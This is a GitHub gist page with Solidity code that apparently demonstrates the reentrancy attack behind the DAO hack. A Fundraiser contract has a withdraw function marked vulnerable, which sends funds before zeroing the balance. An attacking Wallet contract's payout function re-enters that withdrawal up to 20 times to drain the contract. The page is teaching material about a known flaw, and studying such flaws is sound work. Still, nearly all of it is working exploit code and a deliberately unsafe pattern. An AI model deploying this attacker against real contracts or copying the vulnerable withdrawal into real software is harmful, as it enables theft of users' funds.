Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.26+commit.4563c3fc.js&optimize=false&runs=200&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.24; | |
contract Fundraiser { | |
mapping(address=>uint) balances; | |
// VULNERABLE | |
function withdrawCoins(){ | |
uint withdrawAmount = balances[msg.sender]; | |
Wallet wallet = Wallet(msg.sender); | |
wallet.payout.value(withdrawAmount)(); | |
// this line is not reached before the next recursion!! | |
balances[msg.sender] = 0; | |
} | |
function getBalance() constant returns (uint) { | |
return address(this).balance; | |
} | |
function contribute() payable { | |
balances[msg.sender] += msg.value; | |
} | |
function() payable { | |
} | |
} | |
contract Wallet { | |
Fundraiser fundraiser; | |
uint recursion=20; | |
function Wallet(address fundraiserAddress) { | |
fundraiser = Fundraiser(fundraiserAddress); | |
} | |
function contribute(uint amount) { | |
fundraiser.contribute.value(amount)(); | |
} | |
function withdraw(){ | |
fundraiser.withdrawCoins(); | |
} | |
function getBalance() constant returns (uint) { | |
return address(this).balance; | |
} | |
function payout() payable { | |
// exploit | |
if(recursion>0) { | |
recursion--; | |
fundraiser.withdrawCoins(); | |
} | |
} | |
function() payable { | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Example of how the DAO contract was hacked, leading to the loss of ethereum.